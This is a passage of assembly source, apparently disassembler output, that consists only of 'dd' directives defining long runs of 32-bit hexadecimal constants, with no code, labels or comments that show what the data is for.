		dd 0C28DC9F8h, 3222096Ch, 54213401h, 12C88C9h, 85A808F8h
		dd 0C4A7FD88h, 1A485684h, 0E68B1EE7h, 75C3C288h, 200A1655h
		dd 6A7CE69Ch, 24EFA8A1h, 1ABD8B6Ch, 18F3296Fh, 422F3AABh
		dd 45DC344Eh, 4AD926AFh, 0CE29CA45h, 2CE61CC4h,	2EAC49B3h
		dd 31534B94h, 0F0211820h, 485C20E7h, 18365850h,	81846C0Fh
		dd 0A8EC3EA1h, 6EFE370Dh, 0C4A89087h, 938AA9Fh,	8E76C180h
		dd 42E7E021h, 4918E618h, 0C4414313h, 212BE7E0h,	56E44441h
		dd 0AAD90029h, 6933072h, 93E567FCh, 461A5753h, 0E95604CFh
		dd 5F9A3124h, 84E7F410h, 0D2E9D0EBh, 507D0F94h,	62ACB608h
		dd 7EB88A6h, 8528E858h,	2E9C6F78h, 7038F11Dh, 0E59A504Fh
		dd 137F4A10h, 0D5C1A6E9h, 883FA4A1h, 1A1274FCh,	9010D0FFh
		dd 7129F6Ch, 930AF40Ah,	0FD12EB0Eh, 0B7E0768h, 0E62D7045h
		dd 3AB6AA1h, 7A2EBBE9h,	84F94E16h, 9C382C16h, 0D7DA5884h
		dd 0BCD30740h, 0AEC585Eh, 5B71088Dh, 1A3E1A68h,	0E7944B9Ah
		dd 37561A0Eh, 340B4061h, 244DA47h, 0A3E8170Ah, 20D82877h
		dd 572A16A0h, 252E1482h, 2D2767A0h, 329FEEF8h, 0A4134C3Eh
		dd 0A74945Eh, 3E9F0122h, 236AA2D9h, 5EDEB6F4h, 3C246418h
		dd 3320EA1Dh, 83994401h, 1508CF65h, 0FC7153AAh,	5D2DA56Fh
		dd 858B842Bh, 4C6006B1h, 6B9DEFA5h, 3E47F69Ch, 3BC45180h
		dd 973C708h, 30B42883h,	53645887h, 1FC35E8h, 94500896h
		dd 0A8EE840Bh, 257C4C9Eh, 24D95A64h, 10181F62h,	4268E928h
		dd 58D89D8Bh, 81014821h, 4FA4ACA2h, 0BDD15619h,	6A012EF9h
		dd 76C37027h, 28132693h, 34603831h, 0CCBF613Bh,	8477260Bh
		dd 0E93159FAh, 1D3EA641h, 85F4D458h, 45A99688h,	0E0ED740Ch
		dd 0B59CF47Bh, 1AF55CC2h, 1CC86E66h, 0D50A760h,	1B740DC2h
		dd 9D94356h, 0B50CE8C5h, 0F571917Ch, 0F4AE1C19h, 0A76B2C86h
		dd 7277134h, 142273A4h,	14F55402h, 88F4D021h, 54D0A574h
		dd 286485F5h, 10C464E6h, 0A754270Ch, 322EE930h,	64421BB3h
		dd 19E910F5h, 0E78F324Ah, 0A70C4C11h, 0F2345814h, 3120162Fh
		dd 0E8C476BDh, 0FE94C40Ah, 0B339C475h, 3D44BB1h, 53E92973h
		dd 85A6CCBEh, 0AB8AE368h, 7B2B2DEBh, 5C240633h,	9834DD89h
		dd 84772F2Ch, 34E88445h, 181CA016h, 565726E9h, 55105CA8h
		dd 0E100117h, 0F4B840DCh, 6C9D880Ah, 3496C8EAh,	5F29E138h
		dd 682BD156h, 901A1CA7h, 0A3A06D36h, 0CB50A9FAh, 118CCB64h
		dd 42E59110h, 2116E9ECh, 35BFA7B1h, 801F67A4h, 0E371E9D2h
		dd 0A839EAF0h, 9D37F48Fh, 0B55889D0h, 40B61CA5h, 715DD725h
		dd 0EAECC4EAh, 0E943E828h, 0A65BEC11h, 0D621943Eh, 250CBC22h
		dd 0B571DD0Ah, 10EAF8E2h, 314DACE9h, 149BF1F3h,	613F8604h
		dd 155309F4h, 2CE909CEh, 43B89C55h, 0A6DE843Ch,	1E853878h
		dd 0C84663C4h, 842DA21Dh, 41B90DABh, 4AB25A10h,	7259D2E4h
		dd 35B68340h, 0D406EB26h, 0CCE21035h, 440D1082h, 1CA4B422h
		dd 4DD62840h, 0BCC4B770h, 8C3828F4h, 40B6FC10h,	1AF4BCF1h
		dd 0D3068C2h, 5562EB51h, 0D8041AA4h, 10B7DA29h,	17C5F4CCh
		dd 0C764BA29h, 196C9272h, 46590E22h, 7C561EE1h,	28E0C492h
		dd 0BB35FF05h, 2EEB1F54h, 8471846Eh, 0A3E43E51h, 55E0C40Fh
		dd 0A2E92420h, 1669478Ah, 26A3A927h, 0FA626E31h, 12239A4h
		dd 322B0DB0h, 35AB655Dh, 0D6884542h, 53536412h,	0FE6A1E00h
		dd 0D644E958h, 177E1015h, 0B7BE3CC8h, 3FA21BE4h, 98F29B13h
		dd 51E9FFC8h, 0EC11522h, 841A2248h, 1D89187Dh, 520F2019h
		dd 7622898Fh, 5B03B069h, 0C4B83E16h, 37448590h,	8157A22h
		dd 64927453h, 81B553FCh, 0BA34688Ah, 0BC2F3E7h,	59E4F8E9h
		dd 246A4016h, 18A15468h, 8AE00860h, 5042B873h, 457B169Fh
		dd 3C785B8Ch, 0FA48702Dh, 0E114C93Ch, 17896090h, 7704106Ah
		dd 0EBE8983Dh, 598D174Ah, 0D43076A7h, 0DDB0DCEBh, 0AD4A2482h
		dd 824CE379h, 0F812A97Ch, 1C6EDD33h, 0E05E62D1h, 0B5A62FF9h
		dd 0E8150FDCh, 684EA3EFh, 0CA246A64h, 0E7665D09h, 0E7008A2h
		dd 71A1484Fh, 6E1F0119h, 74801C08h, 0DC0885FAh,	1AAE62F9h
		dd 6E3ED334h, 0E9811B8h, 0A1D95211h, 0F40CFA84h, 0A2332D4Dh
		dd 2F918315h, 66FC249Eh, 23186C22h, 622878Ah, 4A88A1F2h
		dd 9EE41623h, 8E66147Ch, 0E8F68415h, 23F494A3h,	0D37B404h
		dd 90BDD80Fh, 1E80DC5h,	0B70FEE45h, 4A582D57h, 0A7656DA6h
		dd 0C8D490F0h, 6957710Dh, 532AD927h, 6A3114C2h,	6D1A4806h
		dd 30200522h, 4EF68821h, 6384A11Eh, 883C40EEh, 15E4F646h
		dd 4D110589h, 0F698A1D8h, 2C4FEF0Ch, 8B0FF2C8h,	7430AE82h
		dd 4822C817h, 2BADEF42h, 0F5F05D02h, 0F7236C09h, 84CC621Dh
		dd 122CF56Ch, 0A24FA243h, 327418Ch, 0DCB568B0h,	29FFF4CEh
		dd 13F19CA3h, 0B7A54CB8h, 0A058EE41h, 6445990Fh, 0CBA29F3Dh
		dd 22900267h, 0C46C1D11h, 6828F5ECh, 46A50CF5h,	0F5EC84AAh
		dd 0F80116Eh, 683B2E17h, 0F543FCAAh, 9EDAC116h,	685B164Ah
		dd 4F7CC461h, 6C0B507h,	1519A938h, 0A3A4B05Bh, 1F106270h
		dd 346D240Bh, 0FB105110h, 3F5E599Bh, 0F883007Ch, 8B367D03h
		dd 1207355h, 7E1C1C8h, 3F11348Dh, 0D51CA882h, 50F0310Ah
		dd 20841080h, 88269F1Dh, 16158F1Eh, 0A06814EBh,	0B3B2A51h
		dd 3022CC42h, 9DB7E49Dh, 6F27B3EEh, 706CD9ACh, 0C027E9E2h
		dd 586FD125h, 42A0F868h, 3EE115EEh, 20185C9Ch, 2E534411h
		dd 840F0941h, 0F9AB6354h, 7BC26C93h, 1C688D1Dh,	196B2541h
		dd 9691D121h, 82A239BFh, 37F5743Eh, 0A60E6210h,	0E9354520h
		dd 9822F8Ch, 17377C58h,	0A4D7ACFDh, 0A5D504AFh,	3664BB98h
		dd 79DE172Dh, 554C0C8Ch, 0B6140FBAh, 64111E85h,	1C721D11h
		dd 0F1D02890h, 0D2586880h, 503053B3h, 23941161h, 18A264A2h
		dd 5B839DFAh, 2BC7E920h
		dd 158B715Ch, 6FDB5EC8h, 68CF0252h, 8159119Ch, 339DD462h
		dd 0AF864DC6h, 8582E82Dh, 4A325604h, 5C710D0h, 9197CEA4h
		dd 2E51A697h, 29E2E914h, 11FCDC02h, 94AB1322h, 25E445FAh
		dd 61243BA7h, 0EC1CE804h, 0A920ACDCh, 38070C09h, 0C4F0E4A5h
		dd 0E8EB8CBDh, 0EC14C4F1h, 529F1C71h, 18AF0C76h, 3F1D0ECDh
		dd 4AFC5D88h, 0FD4032EAh, 480EE5A8h, 120450E5h,	22154584h
		dd 80888E6h, 3C446937h,	0CDEC1805h, 42D594Ch, 23C4A937h
		dd 0EC1842BEh, 12340837h, 0D013EA88h, 2586EC24h, 8FD1238Dh
		dd 4F824135h, 0A1465AAh, 3B154C0Ah, 620521C2h, 88114BF5h
		dd 0A942F008h, 98649A88h, 0EB16DB22h, 0B34AAB15h, 0C41117A0h
		dd 0E93D8B1Ah, 6F4B55B9h, 8B8DE017h, 9D28DE01h,	68141623h
		dd 9B2229A8h, 4A00B9ABh, 5C397275h, 4E748035h, 1968F26Ch
		dd 50AD98B5h, 0F98BD93Bh, 780E58A7h, 9F337784h,	79270CC7h
		dd 2639C806h, 894F299Ah, 349A9BC6h, 21D6AA74h, 86A14DBAh
		dd 158ADC10h, 5675E0C6h, 5AAA848Bh, 4B064654h, 0EA37E068h
		dd 0E152A8E2h, 42829E3Ah, 0EE7AAF0Ch, 7A10275Bh, 0B182D10Ch
		dd 2C51E468h, 0CB3F9B48h, 31AA12DEh, 694007A2h,	0AC2184F4h
		dd 8F8D1A8h, 784686FAh,	84B41010h, 0CF27A6BEh, 86FCAC90h
		dd 0C49ADF21h, 44103841h, 62874313h, 16271314h,	610F4458h
		dd 5508B914h, 15F2F986h, 292C1895h, 0D8626976h,	8EB1630h
		dd 0A2A743DAh, 0C30112Eh, 103943A6h, 0EC84B210h, 90CF27A5h
		dd 438634ACh, 716FC80Dh, 85710840h, 54A22C13h, 8A217485h
		dd 3F482A47h, 0C499CE21h, 13103230h, 3D3222ECh,	8FC85810h
		dd 852FF178h, 0F3846090h, 1C3172A6h, 168C2658h,	99CA43C4h
		dd 43446C2Ah, 64ADC84Bh, 11782214h, 62080AAFh, 74679C39h
		dd 551414EBh, 1FD5F914h, 0B9990B81h, 0C00F423Fh, 88C4F9F7h
		dd 5209E84Ch, 80431F14h, 9A98EE10h, 153FC732h, 0D6211888h
		dd 381075A1h, 904424C8h, 7D3A3A22h, 7912FAB2h, 0F623AE61h
		dd 896A9CD5h, 8B0C9C4Bh, 2EED8887h, 0ABABE321h,	6232A4C4h
		dd 0C4452996h, 5E2AE9BCh, 322FE7FDh, 0BB85F96Ah, 0B06068D7h
		dd 0DE2B4386h, 1058372Ah, 84374450h, 59732185h,	43EF0CB8h
		dd 0A3518897h, 32C44460h, 572496CBh, 0C710972Dh, 15C88E98h
		dd 86CCA860h, 0F1C48F43h, 21BC8B2Dh, 0A4F309D8h, 8345206Eh
		dd 7A21C04Ah, 48C75446h, 91760059h, 0E552C7C1h,	0DE0E3D50h
		dd 0C8344636h, 81327A26h, 0DC43F996h, 9A96F514h, 241957E2h
		dd 14440408h, 0E6918559h, 0FFB79E48h, 221ED72Dh, 140CC49Dh
		dd 4796AE22h, 18881045h, 5E42FB44h, 30861630h, 7E211443h
		dd 4C2CE0E2h, 977A214Dh, 0E8051408h, 2B1BC443h,	3B901C21h
		dd 14199DF2h, 0F40C37E1h, 0D8101FFBh, 8624A82Fh, 0C495F821h
		dd 0FD27645Ah, 0A35C42A8h, 0C4337530h, 23E7F844h, 0C8D4392h
		dd 34214643h, 14F2B290h, 233C421Ch, 7043A816h, 0E724B1D5h
		dd 0EB5408C8h, 1E674B52h, 262BC920h, 56512868h,	3E294854h
		dd 52A09187h, 963A1640h, 3C0A246Dh, 26458C8h, 0A086643Ch
		dd 0B395FE39h, 543CC829h, 43C60CE3h, 0CB288894h, 45B4851Bh
		dd 0EC2FA22Ah, 7B6580C8h, 53DD4B2Ch, 88B2EC2Ah,	294B5219h
		dd 0EC84B422h, 54954E21h, 16299843h, 3478643Ch,	5512EC08h
		dd 0DAC4A890h, 423C3893h, 42B8C82Ah, 4614A13Eh,	56F088FDh
		dd 8F29C043h, 29F1624Bh, 0C84560E5h, 796B2448h,	4CDE16CDh
		dd 942C1020h, 3734DA13h, 3421DC43h, 823596E4h, 37B730F7h
		dd 90DEF410h, 385FE292h, 0E28D93F9h, 0C611150Ch, 2928230Fh
		dd 15240814h, 51A02A88h, 0EB1EE60Ch, 4B28CA0Ah,	0DDF17B90h
		dd 0A2142228h, 5724A430h, 918AB93Ch, 0A65E5314h, 44F2BF52h
		dd 3C1B3CA4h, 0FBA1867Dh, 0C83C5F17h, 91DF6254h, 1041471Ch
		dd 21AA92DBh, 0F2A39064h, 23913205h, 5C070874h,	0E2A4559Fh
		dd 0EF28C9D3h, 468015B0h, 0BFE25D21h, 98421627h, 289EC112h
		dd 0B40DC69h, 0C11C2FBFh, 0FC7FB980h, 0D5A7501h, 0E8767EF4h
		dd 0A818B550h, 105EC781h, 8BBEBC1Dh, 744F283Ch,	0F4442DD9h
		dd 880BAD23h, 6D0159Ch,	8E618C43h, 107D8B3Fh, 832842Eh
		dd 84515B66h, 95793FEDh, 4215CA28h, 64D3C846h, 163122CCh
		dd 0D2219A43h, 58B71C10h, 722D464h, 21534316h, 9DF208DCh
		dd 0E00C3E51h, 0C4DD4284h, 0E4223EF0h, 210BC811h, 88E890DBh
		dd 0C0659B3h, 9E4284F4h, 223DF1C4h, 0B8911F8h, 22B82E21h
		dd 0C8744216h, 22046419h, 0A921165Fh, 8810103Ch, 0C94594Ah
		dd 35428418h, 206466C8h, 51595827h, 4284240Ch, 640EC80Bh
		dd 9CF6212Ah, 3BF9100Ah, 0E1442C88h, 4286BB2Ch,	64CC2134h
		dd 113832A6h, 23210BB7h, 0A2883C90h, 400C0E59h,	0C48D4284h
		dd 4C223AC9h, 210B7811h, 885090B4h, 0C405963h, 4E428458h
		dd 5C642BC8h, 7B163922h, 644284DBh, 0C6642421h,	0B04F1837h
		dd 838CFB1h, 0FA21846Ch, 32BA449Bh, 0BE51170h, 78908621h
		dd 7159D088h, 42847C0Ch, 377BC4BBh, 0A6118222h,	0BB66210Bh
		dd 629121C2h, 8C1136DBh, 90857C08h, 4494C8C6h, 865B2C67h
		dd 52219842h, 9C324664h, 100B3D11h, 0A88835A6h,	912C2844h
		dd 21AC4286h, 398B4E13h, 6862D47Ch, 0FC1782B4h,	0C2F7149Ah
		dd 0D8C16A05h, 717E5BDEh, 1116B8C5h, 0AC051436h, 34CA4FB2h
		dd 0E7F13C16h, 0B58679B2h, 1704AF93h, 54BE1C75h, 681250BCh
		dd 8A0CEC3Bh, 756156A6h, 353E8B06h, 0F14492E4h,	0D8503A7Ch
		dd 2214BF8Eh, 258416F6h, 1EE58CF7h, 19162090h, 10BEF659h
		dd 3CA3F1C0h, 289A31D4h, 0F1C0111Ah, 174408B8h,	9A035BCFh
		dd 8AF121AEh, 0C2FF1372h, 0FD221744h, 5B641499h, 91532Fh
		dd 0AD055A91h, 0B7E103Fh, 45454828h, 0DC1448Ah,	3E472A0Ah
		dd 3808E684h, 4E945AC5h, 0AE17B850h, 9D4EA985h,	5A908821h
		dd 4241BC51h, 4E2712E8h, 73F01484h, 0A02CCC9Ch,	3C210EF7h
		dd 56995888h, 67F01821h, 0DC58E88Ah, 0A9218417h, 421C48Bh
		dd 987157CBh, 143D0AF0h, 2F1F1143h, 1BF098A1h, 44180C84h
		dd 0A4680281h, 2411F043h, 71488E12h, 0A198AF10h, 4309120Dh
		dd 8EFC4300h, 45A1724Eh, 90A5173Ch, 0FCDC0A09h,	8C045E0h
		dd 0FF5B7738h, 0C8444F0Ah, 75386022h, 8A709773h, 4A91467Ah
		dd 502AD8A3h, 9E44CC50h, 40ECD38Bh, 53B3E715h, 288F68Ah
		dd 7756D509h, 0FE79314h, 0AD4BEC43h, 22EAB697h,	0EA8E1160h
		dd 49191822h, 4CCFD497h, 42DA3FB1h, 5351388Ch, 586E8BA8h
		dd 30A0D5A7h, 88E96745h, 99070A42h, 3842A8D5h, 716116A2h
		dd 187D8B3Fh, 18023B35h, 4974388Ah, 44B422C8h, 81382879h
		dd 0B8DA09BCh, 0A110C63Ah, 0A6602372h, 1072A557h, 11F58EC0h
		dd 951BFC21h, 27451347h, 28692858h, 437F1A44h, 0F6572410h
		dd 9AF3A409h, 2FA18D63h, 0F42C1C88h, 6008E80Ah,	0C70C7561h
		dd 9FF430D8h, 9EBD918h,	905929Fh, 5A5A7C0Fh, 8508641h
		dd 0D221863Dh, 0F3AC5896h, 8B048885h, 101AEA5Bh, 3E878923h
		dd 55474540h, 0A3F3A810h, 0C531D4A4h, 3E6B1A25h, 745891DBh
		dd 0C408871Ah, 0FA4C288h, 16344634h, 0A9320F8Fh, 961C221Ah
		dd 0A9E36914h, 7493187Dh, 7C10C812h, 0B4102D4Ah, 121AB68Ah
		dd 0EC04EE5Dh, 8B050D2Dh, 5D9C98BCh, 45C1085Eh,	4F7E570Eh
		dd 4AB1A852h, 64D250E1h, 56EC5014h, 1A9546C6h, 544B5A75h
		dd 6A0800AAh, 3122E803h
		dd 0F4A40154h, 0C1209087h, 0CD6E914h, 9EDF787Bh, 14D9334Fh
		dd 88122A09h, 173411F8h, 221B1CA3h, 6D812A15h, 5924F63Ch
		dd 69A01228h, 0B921E804h, 37441830h, 7BB195EBh,	344225A0h
		dd 5411588h, 0CA0D94E8h, 0AC6DE922h, 84545076h,	6C20C46h
		dd 60196CE8h, 428E4508h, 94E41164h, 44E8C2A7h, 1D086C19h
		dd 2170428Eh, 927844BCh, 1B75410Ah, 5311C079h, 0F867C457h
		dd 22782233h, 0D07E14EBh, 0A005DDC9h, 62165FE2h, 0F90827A5h
		dd 0E9184186h, 94176DAFh, 35ABE128h, 88871008h,	0C881B80h
		dd 8FA49001h, 0C4885102h, 45943142h, 82F03CEBh,	9B638F26h
		dd 538E928Ch, 73219B8Eh, 84CC1036h, 0B8658B2Ah,	561015DEh
		dd 1B582AA0h, 0F34D042h, 47EEC259h, 3CD411A5h, 88648B1h
		dd 0AFEE924h, 3B2F2354h, 0D86807C1h, 215EEB11h,	570702E0h
		dd 1C92AB93h, 30938622h, 0A7A93975h, 5F434E2Eh,	4A930DA4h
		dd 0C40EB23Dh, 0D6231C20h, 0CC581EEDh, 68E58CE9h, 0EB272462h
		dd 0FDF74305h, 0CEB69238h, 1A325941h, 783FEAh, 93211C42h
		dd 102B4942h, 8E841C6Ch, 21344315h, 92FA0870h, 842A3B50h
		dd 0E5217842h, 74532664h, 89AC0314h, 2416247Dh,	8E311ADh
		dd 42297C28h, 29E3C5BCh, 44981727h, 8ECC2CA5h, 8E218842h
		dd 94727464h, 230B7711h, 8898905Dh, 28EC5860h, 21A0428Ch
		dd 72D56449h, 0B3211A4h, 0AC904C23h, 35591B88h,	4284B01Ch
		dd 27BAC404h, 0ED10B862h, 0A3118591h, 0D644BCC8h, 428E4E2Ch
		dd 64BF21C2h, 11C47237h, 0B4110BA8h, 44CC8826h,	8E9D2C91h
		dd 7A21D042h, 0D8720364h, 110B6311h, 0DC8825ECh, 682C4C44h
		dd 21E4428Eh, 72516435h, 0B1E11E8h, 8824EC11h, 2C0744F0h
		dd 0F4428ED5h, 0A290F010h, 8FC395Ah, 439185D9h,	211D11DCh
		dd 233462C2h, 0AB080831h, 2147BF85h, 0B194100Ch, 14182235h
		dd 0C87D4284h, 2218E41Eh, 42231666h, 88201021h,	1C2B594Fh
		dd 38428424h, 622077C4h, 0B21112Ch, 30906023h, 0CD580A88h
		dd 3C428C1Eh, 0A28FF310h, 84439B6h, 69185DCh, 0C5444CC8h
		dd 18FFEF2Ch, 0AE428450h, 1742F2D4h, 97105C21h,	6039B5B2h
		dd 91858008h, 1061DC4Dh, 3936B269h, 8552086Ch, 0C41B2588h
		dd 163B2278h, 292B0E45h, 8AB22ED0h, 290E0314h, 12448088h
		dd 1952FE2Ch, 8862117h,	0E7518EFBh, 4284881Ch, 18BFC4E4h
		dd 0CD119462h, 90A8230Bh, 59B688A0h, 84AC1C91h,	1C9D9F42h
		dd 7A9720CCh, 7774A2C5h, 6455266Ah, 7BB22F12h, 4214AE4h
		dd 0EA494CEh, 54A58488h, 329445F1h, 0BD53CF1Eh,	298126B2h
		dd 0C86E40F6h, 378C9A75h, 13966173h, 88374DB8h,	80B56321h
		dd 0D8E8C30Bh, 95FFB4Ch, 6DEECF84h, 0B9CD8021h,	3E4D4FA3h
		dd 0B8ACF369h, 4A121D44h, 0C442F3D6h, 0C33CF90h, 21E32B42h
		dd 8DBC08F8h, 16B084E1h, 4404FA58h, 17AEA51Eh, 8219947h
		dd 44A78E10h, 5C119CE7h, 0A1C4C942h, 0C9DC317Ah, 0EA4930Ch
		dd 11CA5C24h, 1E3283E5h, 1B1147CAh, 39512770h, 60115814h
		dd 4424CB5Fh, 1A9166A5h, 501D5664h, 0A5C25814h,	5A1E1068h
		dd 7F8D2149h, 251A523Dh, 38B25253h, 256C4BACh, 0B08A5C7Fh
		dd 86C9582Ch, 423ECE23h, 837CB5Ch, 0ADBF1E40h, 218A1E17h
		dd 6F89CB68h, 442C6C17h, 8C42901Eh, 62149D84h, 79178488h
		dd 428E862Ch, 62622190h, 0A0311335h, 0BF854B08h, 10A82147h
		dd 120EB134h, 4284B418h, 11F7C41Dh, 611B862h, 10EE110Bh
		dd 0EF08219Fh, 1CD7518Bh, 0D84284C4h, 8871E3CEh, 2CC144D0h
		dd 0D8428ECCh, 9B62AA21h, 8E4310Eh, 0C5B88593h,	583544F4h
		dd 2088A580h, 0C50A5E08h, 6D2608E8h, 530DB25Bh,	4217209Ah
		dd 0E442C856h, 163F22F8h, 38082823h, 0BFB1F22h,	4901123h
		dd 0DB62619Fh, 21943306h, 230A8AFAh, 881490C4h,	1CAD59E3h
		dd 0CC428418h, 62057AC4h, 0BB51120h, 24906323h,	26589E88h
		dd 30428C04h, 516E8721h, 704436C8h, 346F82Ch, 59103821h
		dd 18021DB1h, 42428444h, 48E406C8h, 0E9142B22h,	0A8C6642Ah
		dd 0B5B820EFh, 0E88C084h, 793CC557h, 7A46348Dh,	0BE782131h
		dd 24663A11h, 0BA421F20h, 68372B22h, 9D5F954Eh,	0BEF536Fh
		dd 90441BC5h, 20BD7828h, 862F0B45h, 0AA441F9Eh,	7FFAFB68h
		dd 6886944Eh, 310C1AC4h, 0F231BB13h, 0E33BF88Bh, 0EC8645F4h
		dd 0C70D66F0h, 42FCE485h, 47B3AC07h, 9D0AF60Ch,	1F4ED3EBh
		dd 5ADF7DF9h, 641A1BE6h, 0E149A3Ah, 0C815BA53h,	586805A6h
		dd 0BFCE881Fh, 1C207B42h, 0CD625982h, 7045CE77h, 5395A9BFh
		dd 4ADC55BCh, 14A02B99h, 12530F23h, 504D9A6Ah, 1DD04821h
		dd 2D8FD822h, 64E3CF3Bh, 68C281D1h, 71D91FA4h, 0DF7B4562h
		dd 39082B3Fh, 99056B2Dh, 0EE33612Ch, 0C9907AEAh, 49D4E9C6h
		dd 0C888AE2Ch, 30887D42h, 57B11774h, 6A4713A0h,	45A3C150h
		dd 0EE815405h, 900860C8h, 77802DBCh, 1864535Ch,	4A857CFEh
		dd 0B6809A70h, 96EF912Ah, 0C4AAFCBEh, 560CECACh, 7C296DEAh
		dd 0C0A00D01h, 25E8D844h, 0DBDC880Ch, 0DC183152h, 8757F408h
		dd 17212B89h, 0DD88E010h, 0A0610A51h, 27E92189h, 0F0205499h
		dd 449D76F5h, 0B4B7A006h, 8E0F80EDh, 0A46B0B4Ch, 7BF67731h
		dd 1C235703h, 6DC53F2Ch, 6BC036D8h, 6EB04564h, 0F912A392h
		dd 0BD7E4B98h, 29B82E32h, 28447F76h, 32FC775Bh,	6B2C2DADh
		dd 392800C0h, 2A22A39Dh, 4028BC3Eh, 13C2C0F8h, 752014B8h
		dd 0AB1C5C91h, 29A5260Fh, 737D8F4Bh, 65E166ADh,	14200E7Bh
		dd 5345B72Fh, 0EDAC083Ah, 86EC2850h, 4146C810h,	0F5BB3EF6h
		dd 88205858h, 219CF06Dh, 84EDC478h, 6813EB04h, 2BCE2090h
		dd 0EC791A17h, 5D42A2E0h, 0E0F4E90Bh, 2B0B2374h, 39432118h
		dd 7B744D1Dh, 92555A6Bh, 6AE90207h, 13D0597Fh, 222AE70Ch
		dd 7486C508h, 6F5B05EFh, 69D38873h, 851B7546h, 5BF22BF4h
		dd 8200EA4h, 5B4D44F8h,	0FC1A2284h, 28C46E9Dh, 453CEEF4h
		dd 3024B533h, 0EEF07671h, 2A915759h, 0FBE25BF8h, 10B1F48Fh
		dd 909C20C8h, 216E278h,	48114472h, 0AF00401h, 11EE4379h
		dd 4A13B2Bh, 10841BF0h,	0EF284421h, 1010459Ah, 0CBE983F0h
		dd 5AF17AFEh, 849EE201h, 7D212148h, 4E90172h, 29576192h
		dd 80D3447h, 1D60682Ah,	0F977B027h, 2AACF134h, 81815624h
		dd 5702499Fh, 0E528FBE1h, 8B138F96h, 37D184Dh, 108962C8h
		dd 10B186E8h, 8B761810h, 50F445D1h, 448D2013h, 0BA070831h
		dd 396278A3h, 147C4032h, 73F54A83h, 247D6316h, 1C450321h
		dd 7E78A02Ah, 142C7764h, 49307CC9h, 38E69F1Eh, 34C3F877h
		dd 58117424h, 0FF330244h, 67A8BE4h, 0DA7C52C1h,	327A58EBh
		dd 233421F9h, 0B316290Dh, 0B9244632h, 0DC0CD4F1h, 0F1D47653h
		dd 354428D8h, 240309BFh, 17A2B82h, 8C251F6h, 0A6EB0222h
		dd 9C083667h, 9898E7F3h, 42F80447h, 33107139h, 84228E73h
		dd 8E257EF3h, 170E8850h, 79758B89h, 0A418C096h,	29DF8C92h
		dd 0E8560F87h, 0F3342F0Dh, 0CD6AFF90h, 0A2080584h, 16F22DD4h
		dd 70DD2293h, 5362AFF9h, 61041E04h, 69218015h, 7D561EB4h
		dd 22DA8B84h, 8775FA10h, 1C131710h, 84FEED42h, 8028F394h
		dd 0B708F243h, 9478413Ch, 88C28DF3h, 0F1E52422h, 0FE8B3E2Ah
		dd 0CAF3A010h, 0B0315DFh, 8443F9E8h, 0F22409C8h, 372402Dh
		dd 0A01710D3h, 99655ECh, 8336D9C9h, 21A1C053h, 0F083CA59h
		dd 0A4862755h, 53729D2Ah
		dd 0B1019527h, 0A4112384h, 21D01D82h, 4E7C925h,	0FD163E03h
		dd 75124785h, 0A805C947h, 1220CE23h, 4BDF74FAh,	0FA26EE85h
		dd 61A67668h, 78E91EE4h, 0D338A5ACh, 75B9889Bh,	250DC346h
		dd 0AAFC096Ah, 0DF105297h, 1163230Ch, 0B9257AABh, 316771E7h
		dd 2AE0886h, 2F24F752h,	286802D1h, 7ADF9123h, 11328054h
		dd 6E991838h, 205A91A4h, 1C2C9F48h, 564A20BFh, 54685C2Ch
		dd 4CC5243Ch, 2C8F307Eh, 6646CD05h, 1022AB3Dh, 296043B3h
		dd 2C94D525h, 2E538914h, 0AB2F3BBDh, 0C10B5470h, 252F4FF4h
		dd 560C0913h, 782221D8h, 61057723h, 0EFE80FA0h,	0F10B2773h
		dd 101B25E3h, 0EB15E39Bh, 8ADF800Ch, 528C7DC1h,	0A71C6F8Ch
		dd 0EC9DFB70h, 0EDDF4F78h, 0E45E254Dh, 2E9F9817h, 4903703Ch
		dd 1FFCC404h, 32C301Fh,	0E08A8E5h, 64B9A622h, 237CD605h
		dd 6A09731Eh, 9E0B5894h, 3B593C41h, 0F33076C1h,	520DA28Dh
		dd 6FF620FFh, 1DCF559Ah, 5A4AB2B8h, 599A0B39h, 83141044h
		dd 95AC7F8Dh, 214B6751h, 0BF3D741Dh, 0BFFF0A46h, 892145E4h
		dd 6228C480h, 21E413E4h, 3F1BFCACh, 641C290h, 0D037817Ah
		dd 0F9A51123h, 9A7C5C64h, 8D019D72h, 3B307408h,	942BAFB4h
		dd 0E77C1F0Dh, 7EBC81D9h, 0C178C283h, 0E97C64DFh, 3976148Bh
		dd 44AE08B6h, 0DA49E9BCh, 0D8B35ACBh, 101A7519h, 9C120802h
		dd 4BB6C88h, 8B482444h,	289C8C64h, 8A898AAh, 15FE0DF1h
		dd 13FD0CC2h, 7C7868B7h, 0CB2484FBh, 6868576Ch,	55547442h
		dd 28C8B345h, 0A7D4342h, 95F33D66h, 7C62B253h, 7D2530FBh
		dd 0AA54A58Fh, 0BAE6FC16h, 0C418B59h, 3FC4CE7Fh, 0B43CC78Ch
		dd 0C2B83EC7h, 21FB8CC4h, 0E47653E8h, 73F1882Dh, 3CB3F92Fh
		dd 3A88FC21h, 722BC673h, 0D1880855h, 75166080h,	0A750033Fh
		dd 0B30F9DFh, 0C793E68h, 0E07EC608h, 0C9D88C8h,	0BC91A391h
		dd 2438B809h, 40778EE4h, 5532B589h, 0C1D28D38h,	59981864h
		dd 900C940Ch, 0D894FF8Ah, 238424F0h, 196270F7h,	0FC9C383Dh
		dd 0FB7C0885h, 0B63ED25Eh, 2224E2BFh, 2134E7CFh, 7288FCC0h
		dd 0A8349F7h, 218433B3h, 2611FB20h, 0A1101C6Dh,	200C180Eh
		dd 0A081481h, 0FFCDE28Ah, 18684D96h, 900C922Dh,	68B519FAh
		dd 4B10D8Ch, 49016AE7h,	0AA9A7A1Ch, 1A2F426Dh, 5A3D0CF4h
		dd 100CA92Ch, 19180652h, 24220920h, 0F0C80594h,	366FF262h
		dd 443C1438h, 0FB1C8024h, 0FA8C0885h, 34CEA662h, 70FB1C23h
		dd 4E882540h, 30088DC5h, 0C54862FBh, 9E352D31h,	68DE36Ah
		dd 0D8983859h, 72599D7Bh, 690EE4ADh, 49811368h,	7C01416Bh
		dd 6195DEC0h, 310100Ah,	1F9C5722h, 8D17322Ah, 6DE03044h
		dd 0D1C09287h, 5683BC42h, 0ED627C68h, 516F2328h, 1907A546h
		dd 7CB01B1Fh, 0C4B76BC0h, 8E0F1490h, 0AFC8110Eh, 462ECA8h
		dd 758D0FFBh, 0FF1495C2h, 4A71E482h, 9C6B910Ah,	0CCB0F95Bh
		dd 20E4E810h, 775738A4h, 0C7C46F1Ah, 5DA6B880h,	0F732638h
